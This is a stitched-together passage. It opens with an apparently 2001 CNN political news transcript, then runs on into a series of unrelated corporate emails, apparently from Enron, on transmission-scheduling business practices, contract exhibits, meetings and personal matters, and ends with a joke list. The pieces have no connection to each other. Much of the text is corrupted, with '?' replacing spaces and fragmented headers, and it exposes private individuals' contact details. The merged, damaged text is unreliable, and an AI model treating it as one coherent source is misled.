deficits
out there in the future won't be so large. ?I think we cooperated with the
president on the educational bill, at least the substance of it, but we still
haven't been able to convince him or the Republicans to put enough money into
education to really make the program happen.

??On energy, I think that we've got a very, very positive alternative that I
hope people will listen to. ?People in California and Oregon and Washington 
need
help now.

??SNOW: That was last week's theme. ?First at a gas station, the lawn of the
Capitol the next day, and then in a underground war room.

??Gephardt is a master at staying on message, often spending hours talking to
the press, his strategy: agree with Republicans when he thinks they're right 
and
hammer at home when he disagrees.

??GEPHARDT: If we do not learn from history, we are forced to repeat it. ?This
is a mistake that we will pay for for years to come.

??I try not to yell. ?I try to get ideas across as good a way as I can. ?But
there are times when you need to show your emotion. ?You need to let people 
know
that you really care about this. ?And you really want the country to go in a
different direction. ?And I think you can't appear too tentative or too laid
back or too uninterested.

??SNOW: But is the strategy working?

??I have talked to some Democrats who say that they are truly unhappy. Some of
whom say that they are unhappy with your leadership. ?They don't feel that
you're doing an effective job. ?Do you feel that there is trouble within the
ranks?

??GEPHARDT: I don't. ?I think that -- I think the ranks and the Democratic
Party are largely unified. ?They are marching together and working together in
ways that I've never seen them before. ?I always tell them that it's me and 
we.
And we have to be a team.

??I would never tell you that anybody is ever going to be pleased every day
with everything that happens, but largely, I think that we've achieved real
unity and real effectiveness in being the loyal opposition here in Washington.

??SNOW: How much of your days are spent thinking about 2002 in the next
election?

??GEPHARDT: Well, I want to win the majority back. ?I think it's really
important, not for the party and not for me, but for the country.

??SNOW: Is it more important to win back the majority than it is to win
legislatively for the next couple of years?

??GEPHARDT: I think it is in the House for sure, because the minority is 
really
out of power totally in the House. ?You have no ability to bring up 
amendments,
you don't set the agenda every day. And that is real power in the House.

??SNOW: There is a lot of focus on 2004, a lot of talk about your ambitions, 
do
you have plans to run for president?

??GEPHARDT: I really think that if you don't stay totally focused on the goal
that is ahead of you, then you lessen your chances of reaching that goal. ?And
my goal is to win back the majority in the Congress in 2002. ?I think, as 
usual
in our system, we all want to look ahead and start calling the next race after
that for president, but that is not what I'm doing and not what I should be
doing.

??SNOW (voice-over): Gephardt insists he's not planning ahead, though he's
scheduled to attend four events in New Hampshire in two weeks.

??GEPHARDT: The future will take of itself. ?I have no idea what will happen,
and I'm not worried about it, and I don't spend time worrying about it.
Because, again, I've got to do this in 2002. ?This is what we're trying to do.

??SNOW: So, are you committed to staying minority leader through 2002?

??GEPHARDT: Absolutely. ?I'm totally committed to winning this House back, and
I think we are going to do it.

??SNOW: Speaker of the House, you said to me last fall that that had a nice
ring to it? GEPHARDT: It works for me.

??WOODRUFF: Kate Snow talking with House Minority Leader Dick Gephardt. ?They
talked today. ?And later this week, Kate will sit down with House Speaker 
Dennis
Hastert. ?You can look for that report on Friday.

??On another term for the another high-profile Republican and two nationally
known Democrats with apparent home state ambitions.

??INSIDE POLITICS will be right back.

??To no one's surprise, Charlton Heston was reelected today to an 
unprecedented
fourth term as president of the National Rifle Association. ?The 77-year-old
actor was chosen at the NRA's annual convention in Kansas City. ?The group
changed its rules last year to allow Heston a third term, and a spokesman said
there really wasn't much discussion by the board before deciding to elect him,
once again.

??Former Attorney General Janet Reno may be looking for a new line of work.
Now back in her native Florida, Reno says she finds the idea of running for
governor appealing.

??JANET RENO, FORMER ATTORNEY GENERAL: I love Florida very much. I was born 
and
raised there. ?I have lived there most of my life. ?And I want to make sure 
that
I do everything I can, either as governor or otherwise, to serve the interest 
of
the people of Florida.

??WOODRUFF: Reno says she does not believe that her Parkinson's Disease would
keep her from running, and she expects to make a decision before the end of 
the
year.

??Governor Jeb Bush says possible opponents do not factor into his decision on
whether to run for reelection.

??House Minority Whip David Bonior may trade in his Congressional seat for a
run at the governor's mansion. ?The 13-term Congressman from Michigan filed 
his
paperwork today to become a candidate in Michigan's 2002 governor's race. ?His
aides say that a formal announcement will come later. ?With Michigan slated to
lose one House district, Bonior's seat may be vulnerable to the state's
Republican controlled redistricting efforts. ?Republican Governor John Engler
cannot seek reelection because of term limits.

??Californians and the energy crunch: are they pointing fingers at the
president? ?We'll check new poll numbers from the Golden State, and discuss
power politics in the state when we return.

??WOODRUFF: At ground zero on the energy crunch: more than half of 
Californians
say they disapprove of the way President Bush is handling that state's power
woes, according to a new poll. ?But the survey shows more Californians are
placing blame for the problem on utility companies, former Governor Pete 
Wilson
and current Governor Gray Davis than on President Bush and the federal
government. ?The Democrats are trying hard to convince Californians that
Republicans should be held accountable for the power problem. ?Here is a
Democratic Congressional Campaign Committee ad that begins airing in Los 
Angeles
today.

??NARRATOR: California's energy crisis is deepening, with summer blackouts
predicted and rate hikes of up to 80 percent. Yet President Bush has offered 
no
relief to hard-pressed rate payers. ?His spokesman saying, "The president
continues to believe that the issue is mostly a California matter" and our
representative, Stephen Horn, has joined with Bush in opposing a temporary cap
on electricity prices. ?Call Congressman Horn and tell him we need action now.

??That is if you can find the phone.

??WOODRUFF: The Democratic committee said that it has bought significant air
time for that spot, part of a month-long radio and TV ad campaign targeting
Republicans on energy. ?Let's talk more now about energy politics with the
director of that Public Policy Institute of California poll we just told you
about, Mark Baldassare joins us now from San Francisco.

??Mark, first of all, this poll finds Californians pessimistic in general, did
that surprise you?

??MARK BALDASSARE, CALIFORNIA POLLSTER: It did. ?For the past three years,
we've been in an incredible time of optimism in California. ?Two-thirds of
Californians have said that the state is going in the right direction. ?Most
Californians felt that economic times would continue to be good, and most
Californians also were highly approving of the governor and the legislature.
For the first time, we've seen a dramatic drop in optimism about the state,
about the economy and ratings of the governor.

??WOODRUFF: And why do you think that is?

??BALDASSARE: Well, eight in ten Californians say they have been closely
following the electricity situation in the state and most Californians are
telling us in our survey that they consider it the top issue and 80 percent of
Californians say it's a big problem and moreover, a problem that is going to
effect the economy. ?So there's been a great deal of uncertainty that's been
created by the electricity situation and because of that uncertainty, people 
are
beginning to feel very nervous about our state.

??WOODRUFF: So you're saying because of the electricity crisis, if you want to
call it that in California, it's now driving people's views of everything:
population, the economy, across-the-board.

??BALDASSARE: We -- for the past few years people have been focused on
improving the schools, for instance. ?Now only 6 percent in our most recent
survey said that's the issue that concerns them most in the state. ?And we see
that there is growing pessimism at the same time that there is growing concern
that this electricity situation is not under control and could affect the
state's economy.

??WOODRUFF: Explain for us, Mark, who people are blaming. ?We were -- Bill
Schneider reported earlier on the program that Americans, overall, are having
mixed views about to what extent President Bush is responsible. ?Here we're
learning in California, they hold President Bush far less responsible than 
they
do local leaders.

??BALDASSARE: Yeah, well, we are at time right now in California where people
haven't experienced the rate hikes yet. ?They've certainly heard about them.
They haven't experienced, for the most part, frequent rolling blackouts, but
they hear that they're coming. And so when we talk about blame, people are
focused on what happened five years ago to put us into this situation. ?And 
for
that, of course, they don't blame either the current governor or the current
president. ?Now, as we go forward over the next few months, people are going 
to
be re-assigning blame as well as re-evaluating the solutions that are in 
place,
and that's why I think both the Democrats and Republicans are very urgently
trying to get their message out right now about who they think is to blame and
who they think has the best solutions.

??WOODRUFF: Well, Mark, what is your reading on this? ?Are ads, like the ones
we just saw the Democrats running out there, are those likely to have an 
effect
on people's views?

??BALDASSARE: I don't think so. ?I think that what is will most going to have 
a
effect on people's views over these next few months is how the crisis is
actually resolved. ?And if people feel that these electricity hikes have 
really,
you know, altered their lifestyle or they're going to impact the economy, if
they feel blackouts are really going to, you know, put them in an 
uncomfortable
situation going through the summer, then my guess is they are going to give
blame both to Bush and to Davis.

??WOODRUFF: All right, Mark Baldassare of the California Public Policy
Institute. ?Thanks very much, good to see you again.

??BALDASSARE: Thank you. ?Same here.

??WOODRUFF: As California tries to ease its energy problems, there are 
concerns
about the cost not only for consumers, but for the environment. ?CNN's Rusty
Dornin takes a closer look at the issues being raised by one California 
plant's
effort to expand.

??RUSTY DORNIN, CNN CORRESPONDENT (voice-over): An aging giant known as the
Mighty Moss. ?The 50-year-old Moss Landing Natural Gas plant along 
California's
coast owned by Duke Energy. ?A face lift and an expansion will soon make this
the largest power generator in the state, providing 2.3 million homes with
light, heat and air conditioning. ?But all that power takes water to cool the
turbines, water that's home to otters, fish, herons and other wildlife.

??CAROLYN NIELSEN, PLANT OPPONENT: Every day, Duke will use 333 football-size
fields -- pools of water that are 10 feet deep. ?That is just 
incomprehensible.

??DORNIN: Water from the wetlands run through the plant, returning to the 
ocean
30 degrees warmer. ?Been that way for 50 years. ?Now environmentalists worry
that increasing the intake will sterilize any creature sucked in.

??PATRICIA MATEJCEK, SIERRA CLUB: Everything that lives in that volume of
water: eggs from fish from clams, diatoms, young fish, everything in it will 
be
killed.

??DORNIN: Environmentalists say the Mighty Moss got a break on the approval
process, as regulators here faced the state's energy crisis. It took 14 
months.
Permitting for smaller plants in the state is down to 21 days.

??KAITILIN GAFFNEY, CENTER FOR MARINE CONSERVATION: It's so fast that my
concern is that we wouldn't even catch really obvious problems because we are
just are not taking a hard look at these plants at all.

??DORNIN: But here's the twist as part of the permit process: local
environmental groups signed off on the Mighty Moss renovation plan.

??GAFFNEY: So at the eleventh hour, we were able to work out this deal with
Duke to at least ensure that the scientific monitoring will go on.

??DORNIN (on camera): Duke Energy will spend more than $8 million expanding 
the
wetlands and in donations to local environmental groups. There will also be an
independent monitor who will assess any damage to the environment.

??TOM WILLIAMS, DUKE ENERGY: This will more than compensate any potential
effects that the new power plant will have on the habitat. This state is in an
energy crisis. ?The new plant we're bringing on is cleaner, more efficient 
than
virtually any plant in the country today.

??DORNIN: Environmentalists made a deal here, but many fear, in a power-hungry
state, taking what they can get may be their only option.

??Rusty Dornin, CNN, Moss Landing, California.

??WOODRUFF: A very different kind of power politics, circa the 1970s, is being
seen in a whole new light in some circles. ?Former President Ford is honored 
for
granting a famous -- some would say infamous -- at pardon.

??That's next on INSIDE POLITICS.

??WOODRUFF: It is something that many Americans that lived through the
Watergate era might never dream they would see. ?An award named for a 
Democratic
icon presented to the man who angered many Democrats by pardoning Richard 
Nixon.

??CNN's Bruce Morton has an inside view of this twist on political history.

??CAROLINE KENNEDY SCHLOSSBERG, JOHN KENNEDY'S DAUGHTER: He placed his love of
country ahead of his own political future. ?We are honored to present you,
President Ford, with the John F. Kennedy Profile In Courage Award for 2001.

??(APPLAUSE)

??BRUCE MORTON, CNN CORRESPONDENT (voice-over): Gerald Ford, now 87, got the
award because, as a new unelected president, he pardoned his predecessor,
Richard Nixon, who had resigned in disgrace to avoid impeachment over the
Watergate scandal.

??RICHARD M. NIXON, 37TH PRESIDENT OF THE UNITED STATES: I shall resign the
presidency effective at noon tomorrow.

??MORTON: "Our long national nightmare is over," the new man said of 
Watergate.
But really, what would end it? ?Nixon could still face charges.

??GERALD FORD, 38TH PRESIDENT OF THE UNITED STATES: My conscience tells me 
that
only I, as president, have the constitutional power to firmly shut and seal 
this
book.

??MORTON: And so he granted:

??FORD: A full, free and absolute pardon unto Richard Nixon.

??MORTON: Many Americans thought that was a mistake.

??SEN. TED KENNEDY (D), MASSACHUSETTS: I was one of those who spoke out 
against
his actions then, but time has a way of clarifying past events. ?And now we 
see
that President Ford was right.

??MORTON: Not everyone agrees. ?Ford's press secretary at the time, Gerald Ter
Horst, resigned to protest the Nixon pardon and still thinks it was wrong.

??JERRY TER HORST, FORMER FORD PRESS SECRETARY: He was going to go off
scot-free, whereas all of his minions -- the people who worked at the White
House, from the chief of staff on down to Ehrlichman, Chuck Colson and others 
--
they were going to have to do prison time; they were not going to get pardons.
MORTON: And it may have cost Ford the 1976 election. ?It was a close election.
Many things could have swung it, but the pardon was surely one. ?Jimmy Carter,
who beat Ford, thanked him Inauguration Day.

??JAMES EARL CARTER, 39TH PRESIDENT OF THE UNITED STATES: For myself and for
our nation, I want to thank my predecessor for all he has done to heal our 
land.

??MORTON: Accepting the award, Ford talked about the need for courage today in
a politics dominated by "partisan jockeying at the expense of public policy."

??FORD: I sense a longing for community, a desire on the part of Americans to
be part of something bigger, finer than themselves.

??MORTON: Historians may still argue about the pardon. ?They agree he cared
about his country and its politics, and did what he thought was right.

??Bruce Morton, CNN, Washington.

??WOODRUFF: Also cited for political courage today, Democratic Congressman 
John
Lewis of Georgia who was beaten, as he and others challenged segregation 
during
the freedom rides through the South in 1961.

??Lewis was given a special Profile of Courage Award for Lifetime Achievement.

??Former president Ford, Congressman Lewis and Caroline Kennedy will all be
guests tonight on "WOLF BLITZER REPORTS." That's at 8:00 p.m. Eastern.

??That's all for this edition of INSIDE POLITICS. ?But of course, you can go
on-line all the time at CNN's allpolitics.com. ?AOL keyword: CNN.

??And our e-mail address is insidepolitics@cnn.com.

??This other programming note: Priscilla Sue Galey, the former stripper who
claims that FBI spy Robert Hanssen showered her with gifts, will be the guest
tonight on "LARRY KING LIVE." That's at 9:00 p.m. Eastern.

??I'm Judy Woodruff. ?Stay tuned for a CNN special report: "Conflict in the
Middle East" coming up.

??TO ORDER A VIDEO OF THIS TRANSCRIPT, PLEASE CALL 800-CNN-NEWS OR USE OUR
SECURE ONLINE ORDER FORM LOCATED AT www.fdch.com

Coats, Carol would like to recall the message, "EWS Mid-year Final PRC Mtg. 
Distribution List".

You should read this.  You won't like some of the comparisons, but it is a nice statement about what our team has accomplished.

From: 	Kean, Steven J.  
Sent:	Tuesday, November 27, 2001 11:53 AM
To:	'slipin@brunswickgroup.com'; Tilney, Elizabeth; Palmer, Mark A. (PR)
Subject:	

This is an article that Irwin Stelzer wrote abut Enron.  He is willing to talk further.  His number is 202.777.3000.  He said he would like to have me on the phone when you call.

fyi.  I work with Sharon on the OSC.

From: Miller, Sharon R [mailto:sharon.r.miller@xcelenergy.com]
Sent: Wednesday, January 30, 2002 1:05 PM
To: estf@nerc.com
Subject: RE: ESC Conference Call to discuss Business Practices

I have to caution against copying the S&CP 1.4, or the closely related
Order 638, into the OASIS Phase 2 business practices. They should merely
be reviewed to avoid missing anything.  Copying in parts of Order 638
have already created direct conflict between some of the business
practices.  It's important to remember that the S&CP 1.4 is the solution
to business needs that existed 2-5 years ago and that were a much
smaller subset of the business needs of OASIS Phase 2.  Slapping an old
solution onto a new problem is rarely, if ever, advisable.  

There is a lot of technical implementation detail in Order 638 that
should be avoided in the new business practices.  Instead the BPs should
focus on WHAT (business requirements). The HOW (design & implementation)
should be covered by the new S&CP.  For instance, instead of covering
the specific state change of "COUNTEROFFER", cover the general business
processes of negotiation.  Nothing in the BP's even says that
negotiation can occur, much less what can be negotiated. Is it just
price, or is it capacity and time as well, or is it something else?   

I'd suggest you start by defining what the transmission products are.
The existing definitions don't fit some of the BP's. 
Then cover the processes for obtaining them.  For instance:
- Buyers submit requests for what and to whom? (source to sink submitted
to many sellers all at once, or partial path to one seller at a time?
What data is required or optional?  Can they agree in advance to accept
the current posted price? Can they agree in advance to accept whatever
capacity is available?)
- Sellers do what with the request? (negotiate terms, approve request,
reject request according to what rules, etc)
- Buyers do what during negotiation process? (accept terms, suggest
other terms, match another buyers bid, reject the terms, etc.)
- Buyers do what with their transmission right? (use them as they are,
don't use them, use them on a different path, sell part or all of them
to someone else, reassign part or all of them to someone else, defer
them to a later time period, extend them beyond their original time
period, etc).

If these types of "what" questions are answered thoroughly, then the OSC
will be able to define the right architecture, communication structure,
state transitions, etc. to meet the business needs.

Sharon Miller
IBM 
representing Xcel Energy
612-330-5946
  
From: John_Calder@dom.com [mailto:John_Calder@dom.com]
Sent: Wednesday, January 30, 2002 8:12 AM
To: pterris@pwrteam.com; mcelhany@wapa.gov
Cc: estf@nerc.com
Subject: Re: ESC Conference Call to discuss Business Practices

Patt,

I think many of your questions about Business Practice 2 could be
resolved
by including the definitions and state diagram from the OASIS 1.4 S&CP /
Order 638.  (I pulled out a copy of the definitions, but could not grab
the
diagram from the pdf file, so I attached the entire 1.4 document.  The
definitions appear on pages 26-28, and the state diagram is on page 29.)
I
also threw out my responses, for whatever they are worth, to your
questions
in the body of your email.

Mike,

Although the wording for these standards in BP 2 is taken directly out
of
Order 638, in looking at the State Diagram, it appears to me that
"SUPERSEDED" should be included in Standards 4.6, 4.7, and 4.12 , and
that
"DECLINED" and "SUPERSEDED" should be included in Standard 4.6.VI.

Is there a reason that we are trying to make this our stand-alone
document
instead of just endorsing the Standards as they appear in Order 638,
taking
exception or recommending changes where necessary?  Using Patt's email
as
an example, it seems like we are taking a big risk of missing something
if
we just take bits and pieces of a document.

John Calder
Dominion Virginia Power

(See attached file: OASIS1-4SCP-rm95-9-final.pdf)

     The possible STATUS values are:

                  QUEUED =       initial status assigned by TSIP on
receipt
                                 of  "customer services purchase
request".

                  INVALID =      assigned by TSIP or Provider indicating
an
                                 invalid field in the request, such as
                                 improper POR, POD, source, sink, etc.
(Final
                                 state).

                  RECEIVED=      assigned by  Provider or Seller to
                                 acknowledge QUEUED requests and
indicate
the
                                 service request is being evaluated,
                                 including for completing the required
                                 ancillary services.

                  STUDY=         assigned by   Provider or Seller to
indicate
                                 some level of study is required or
being
                                 performed to evaluate service request.

                  REFUSED =      assigned by   Provider or Seller to
indicate
                                 service request has been denied due to
                                 availability of transmission
                                 SELLER_COMMENTS should be used to
                                 communicate details for denial of
service.
                                 (Final state).

                  COUNTEROFFER=  assigned by   Provider or Seller to
indicate
                                 that a new OFFER_PRICE is being
proposed
or
                                 that CAPACITY_GRANTED is less than
                                 CAPACITY_REQUESTED.

                  REBID =        assigned by Customer to indicate that a
new
                                 BID_PRICE is being proposed.

                  SUPERSEDED =   assigned by Provider or Seller when a
                                 request which has not yet been
confirmed
is
                                 displaced by another reservation
request.

                  ACCEPTED =     assigned by   Provider or Seller to
indicate
                                 the service request at the designated
                                 OFFER_PRICE and CAPACITY_GRANTED has
been
                                 approved/accepted. If the reservation
                                 request was submitted PRECONFIRMED and
                                 CAPACITY_GRANTED is equal to
                                 CAPACITY_REQUESTED, the OASIS Node
shall
                                 immediately set the reservation status
to
                                 CONFIRMED. Depending upon the type of
                                 ancillary services required, the Seller
may
                                 or may not require all ancillary
service
                                 reservations to be completed before
                                 accepting a request.

                  DECLINED =     assigned by Provider or Seller to
indicate
                                 that the terms and conditions, such as
the
                                 BID_PRICE, are unacceptable and that
                                 negotiations are terminated.
SELLER_COMMENTS
                                 should be used to communicate reason
for
                                 denial of service. (Final state).

                  CONFIRMED=     assigned by  Customer in response to
                                 Provider or Seller posting "ACCEPTED"
                                 status, to confirm service. Once a
request
                                 has been "CONFIRMED", a transmission
service
                                 reservation exists. (Final state,
unless
                                 overridden by DISPLACED or ANNULLED
state).

                  WITHDRAWN=     assigned by  Customer at any point in
                                 request evaluation to withdraw the
request
                                 from any further action. (Final state).

                  DISPLACED=     assigned by  Provider or Seller  when a
                                 "CONFIRMED" reservation from a
Customer
is
                                 displaced by a longer term  reservation
and
                                 the  Customer  has exercised right of
first
                                 refusal (i.e. refused to match terms of
new
                                 request). (Final state).

                  ANNULLED=      assigned by  Provider or Seller  when,
by
                                 mutual agreement with the  Customer, a
                                 confirmed reservation is to be voided.

                  RETRACTED=     assigned by  Provider or Seller  when
the
                                 Customer fails to confirm or withdraw
the
                                 request within the required time
period.

----- Forwarded by John Calder/ES/VANCPOWER on 01/29/2002 11:36 -----
 
                    pterris@pwrte

                    am.com               To:     "Mike McElhany"
<mcelhany@wapa.gov>                               
                    Sent by:             cc:     estf@nerc.com

                    owner-estf@ne        Subject:     Re: ESC Conference
Call to discuss Business Practices        
                    rc.com

                    01/29/2002

                    02:46

Mike:

I won't be able to join the conference call on the 31st (due to being on
night shift).  I have a couple of questions on BP 2 and 3.

Regarding Business Practice #2:

1.  I don't see where there's an option to Pre-Confirm a transmission
request.

Are we still going to have this option?  Does it need to be specifically
addressed (I would think yes).  Is this supposed to be implied in
Standard
4.10?  The customer doesn't actually change the status to CONFIRMED, but
maybe it's just semantics (as in, if there computer is doing the CONFIRM
behind the scenes, and not actually changing the status manually)?

** Preconfirmed is not mentioned because it does not effect the timing
requirements.  When the tag is submitted, it is QUEUED and then must be
acted on by the TP within the specified time frame.  All preconfirmed
does
is remove the obligation of the PSE to respond after the TP ACCEPTS the
request, since preconfirmed automatically takes it to CONFIRMED.,

2.  In Standard 4.6, there is a state of INVALID.  But this is never
described, and there doesn't seem to be any further reference to it.
Should we describe what would be designated as INVALID?  What is
supposed
to happen when the request is in this state?  Should there be a
statement
included, such as if a request is found to be INVALID, the only way to
have
further consideration given to the request is by submitting a new, valid
request?

** Per the definition, INVALID is a Final State for the Request.

3.  What is the distinction between DECLINED and REFUSED?  Should this
distinction be included in this document?  Is DECLINED a refusal of a
REBID
(as implied in Standard 4.12)?

** See Definitions.  Refused is for lack of ATC, Declined says TP does
not
accept your terms.

4.  Depending on the answer to #3, shouldn't Standard 4.7 include
DECLINED?
In addition to ACCEPTED, COUNTEROFFER, and REFUSED?

**  No. The TP can DECLINE a request because the price is incorrect,
whether or not there is ATC available.

5.  In Standard 4.9, it talks about RECEIVED.  But RECEIVED isn't
mentioned
anywhere else.  How does the request get to the RECEIVED state?  And
what
happens to it from there?  And how is it different from QUEUED?

** RECEIVED is a "placeholder" state that simply means the TP has
received
the request.  The paths from Queued and Received are identical.

6.  Standard 4.11 says that the TP can move the request to RETRACTED.
Shouldn't this be included in Standard 4.6?

** RETRACTED should not be included in 4.6 because you cannot go from
QUEUED to RETRACTED

7.  Again depending on the answer to #3, should REFUSED be included in
Standard 4.12?  In addition to DECLINED, ACCEPTED and COUNTEROFFER?

** Again the answer is NO because you cannot go from REBID to REFUSED.
HOWEVER, SUPERSEDED should be included in this list.

Regarding Business Practice #3:

Under Detailed Practice, Reassignment:

I'm not sure that I understand the distinction between "all rights" and
"rollover rights".  Or, wouldn't "all rights" include rollover rights?

1.  It states in the first paragraph that, by default, rollover rights
remain with the original rights owner.  This seems to contradict the
rest
of the paragraph, which states that the original transmission purchaser
is
removed from all obligations, and that all rights transfer to the
secondary
purchaser.  Wouldn't that include the rollover rights?  Should the
statements say "with all rights and obligations, with the possible
exception of rollover rights, transferring to the secondary transmission
rights owner"?

2.  The first paragraph states that rollover rights can be transferred
by
explicit contractual determination.  How would this be conveyed to the
TSP?
Will the manner of communication be standardized (such as including it
in
the notification of reassignment of transmission rights)?

Thanks for the clarifications.

Patt Terris
Exelon Power Team
pterris@pwrteam.com
Phone:  610-765-6602

                    "Mike
                    McElhany"            To:     <estf@nerc.com>
                    <mcelhany@wap        cc:     (bcc: Patricia A.
Terris/Power Team)
                    a.gov>               Subject:     ESC Conference
Call
to discuss Business Practices
                    Sent by:
                    owner-estf@ne
                    rc.com

                    01/28/2002
                    11:19 PM

All,

  This serves as the announcement for the 1st in a series of Business
Practice Conference Calls.  I've setup this 1st call to discuss BP 2 and
BP 3, as I received no additional comments on the order or grouping for
discussing the BPs.

  Attached is the information for the call, as well as the current
outstanding items from the task list.  So that you have time to review
and comment on these particular BPs I've moved this call until Thursday
the 31th.   Please use the "BP Conf Call One BP2 and BP3.doc" to submit
your comments, and direct your comments to the 5 specifice areas of the
BP (i.e. Practice Summary, Associated Rules, Justification,
Applicability, Practice Details).  I will send out any updates that I
receive prior to the call.

Mike
(See attached file: BP Conf Call One BP2 BP 3.doc)(See attached file:
ConfCal BP 2 and 3.doc)

The following items need to be added to complete the exhibits:

1. Exhibits B-1 and H-2 need to be added.

2. If one is warranted, a Seller Parent Guarantee should be
included as Exhibit C-1.

3. Does Exhibit F need to be updated and revised before signing?

4. In Section 3.1 of Exhibit K, the terms "Specific Date" and
"Recovery Schedule" are not defined.

5. For Exhibit T, please confirm that Enron has received all
documents that it should have received by now.

Pursuant to your directive, Exhibit N-1 is no longer used.  We have
assumed in the Agreement that the Unit Liability Amount for each Unit is
$15,653,175.  The contract terms formerly in Exhibit U have been
incorporated into the Agreement.

Sent: Thursday, December 07, 2000 9:07 AM
To: Cobb, Chris; Thompson, Peter J.
Subject: Re: ESA Electrobolt Exhibits

Your thoughts?

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 12/07/2000
08:06

Brett R Wiggs
12/04/2000 07:36 PM

To:   Kay Mann/Corp/Enron@Enron, Roseann Engeldorf/Corp/Enron@ENRON
cc:

Subject:  Re: ESA Electrobolt Exhibits

FYI.  A couple of comments on the GE contract.

Brett
---------------------- Forwarded by Brett R Wiggs/SA/Enron on 12/04/2000
10:37 PM ---------------------------

John Guidry
12/02/2000 03:36 PM

To:   Brett R Wiggs/SA/Enron@Enron
cc:   John R Ayres/NA/Enron@Enron, Roderick Blackham/SA/Enron@Enron,
Glauco
Palhoto/SA/Enron@Enron, Ricardo Mucci/SA/Enron@Enron
Subject:  Re: ESA Electrobolt Exhibits  (Document link: Brett R Wiggs)

Brett,

Just a few comments.  Exhibit H-2 Training and Exhibit B-2
Specifications
need to be added.  Exhibit N-1 does not have the unit price.  The
Contract
Terms do not have the contract price.

John

01/01/2001 09:49 AM

To:   John R Ayres/NA/Enron@Enron, John Guidry/NA/Enron@Enron, Roderick
Blackham/SA/Enron@Enron, Glauco Palhoto/SA/Enron@Enron, Ricardo
Mucci/SA/Enron@Enron
cc:

Subject:  ESA Electrobolt Exhibits

I failed to forward this to you guys yesterday.  Please work to come up
with consolidated comments as soon as possible.  Same comment on major
problems as opposed to small comments.

Thanks,
Brett
---------------------- Forwarded by Brett R Wiggs/SA/Enron on 01/01/2001
12:48 PM ---------------------------

Kay Mann
11/29/2000 03:18 PM

To:   Brett R Wiggs/SA/Enron@Enron, Ben Jacoby/HOU/ECT@ECT
cc:

The first of these two documents contains the key terms of the GE
contract
for the ESA deal.  It was prepared by GE.  Your comments would be
appreciated.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/29/2000
12:14

lee.johnson@ss.ps.ge.com on 11/29/2000 07:10:18 AM

To:   kay.mann@enron.com
cc:   kent.shoemaker@ae.ge.com

<<ESA_Electrobolt_Summary of Contract Terms-112800.doc>>

<<ESA_Electrobolt_Exhibits.DOC>>

Here's what I think we should have on the ESA exhibits.  Let's see if it
will hunt.

Thanks,
Lee

----- Forwarded by Richard B Sanders/HOU/ECT on 10/10/2000 09:13 AM -----

	"Tetrault, Charles D." <ctetrault@velaw.com>
	10/10/2000 07:16 AM
		 
		 To: "'Richard.B.Sanders@enron.com'" <Richard.B.Sanders@enron.com>
		 cc: "'breasoner@Gibbs-Bruns.com'" <breasoner@Gibbs-Bruns.com>
		 Subject: MDL

I have heard that the Lufkin cases have been transferred to Wyoming.  But I
have not seen the order yet.
--------------------------------

Correction,
 
We will meet in the new building on the 4th floor.  Please come to the estate trading area near the windows on the 4th floor.
 
Tom.

From: May, Tom 
Sent: Thu 1/31/2002 11:58 AM 
To: Bentley, Corry; Morse, Brad; Crooks, William; Semperger, Cara; Serio, Erik; Purcell, Mike 
Cc: Racicot, Paul; Hall, Bob M; Suarez, John 
Subject: 

Please attend a meeting at 1pm CST to coordinate transfer of scheduling of estate contracts from UBS staff to estate staff.  We will meet in EB 3133 and conference in Cara Freeland from the west desk.
 
Tom May
713-870-4329

---------------------- Forwarded by Steven J Kean/NA/Enron on 04/10/2001 
07:34 AM ---------------------------
   
	From:  Sherri Sera                           04/09/2001 08:31 PM
	
To: 
cc:  (bcc: Steven J Kean/NA/Enron)

Subject: to cheer up the day

A few more...

 - pauserefreshes.jpg
 - niceartlady.jpg
 - noparking.jpg
 - ouch.jpg
 - bad2thebone.jpg
 - raceincentive.jpg
 - rockclimber.jpg
 - sorryflowers.jpg
 - touristattraction.jpg
 - whichwaytogo.jpg

---------------------- Forwarded by Rob G Gay/NA/Enron on 02/21/2001 05:18 AM 

Jose Bestard@ENRON_DEVELOPMENT
02/20/2001 04:01 PM
To: jgardine@skadden.com, Michelle 
Blaine/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cuiaba LT
cc:  

Subject: Tanslation of Furnas letter

See the translation of Furnas  response of Feb 8.

1) They are not signing the Consent.

2)  Questions the FM claim

3) Raises the need to come up with tariff for a period not initially 
contemplated in the Contract (This needs to be done irrespective of the 
Consent issue)

4) Questions the Economic equilibrium revision if not approved be Aneel 

5) Raises MAE exposure for the project

---------------------- Forwarded by Jose Bestard/ENRON_DEVELOPMENT on 
02/20/2001 03:50 PM ---------------------------

"MLN - Mila Leite Nascimento" <Mln@tozzini.com.br> on 02/20/2001 12:59:44 PM
To: <john.novak@enron.com>, <Jose.Bestard@enron.com>
cc: "CEB - Cl?udia Bonelli" <CEB@tozzini.com.br> 

Subject: Dear Sirs,

Dear Sirs,

As requested, please find attached the translation of the letter received by 
Mr. Laine Powell from Furnas on February 8, 2001, which refers to the EPE 
letter of January 29, 2001.
If you need any clarification, please contact us.

Mila L. Nascimento

 - FURNLET.DOC

Charles was my mother's dad's name and Eugene is my dad's name.

	Suzanne Adams
	06/01/2000 11:01 AM
		
		 cc: 
		 Subject: Re: baby's Name

Oh, that's a nice name.  Is Charles your dad's name?

	Carol St Clair
	06/01/2000 10:17 AM
		 
		 cc: 
		 Subject: baby's Name

Suzanne:
In case anyone asks you, we have decided to name the baby Charles Eugene.
carol

> Subject: Texian's  Driving Etiquette -
> > > > >
> > > > > Dim  your headlights for approaching vehicles, even  if
> > > > > the gun is loaded and the deer is in sight.
> > > > >
> > > > > Do  not  lay  rubber  while  traveling  in  a   funeral
> > > > > procession.
> > > > >
> > > > > Do  not remove the seats from the car so that all  your
> > > > > kids can fit in.
> > > > >
> > > > > Never   relieve   yourself  from  a   moving   vehicle,
> > > > > especially when driving.
> > > > >
> > > > > Never tow another car using pantyhose and duct tape.
> > > > >
> > > > > When approaching a four-way stop, the vehicle with  the
> > > > > largest tires always has the right of way.
> > > > >
> > > > > When sending your wife down the road with a gas can, it
> > > > > is impolite to ask her to bring back beer.
> > > > >
> > > > > - Texian's  Personal Hygiene -
> > > > >
> > > > > If you have to vacuum the bed, it's time to change  the
> > > > > sheets.
> > > > >
> > > > > Plucking  unwanted nose hair is time-consuming work.  A
> > > > > cigarette  lighter and a small tolerance for  pain  can
> > > > > accomplish the same goal and save hours.
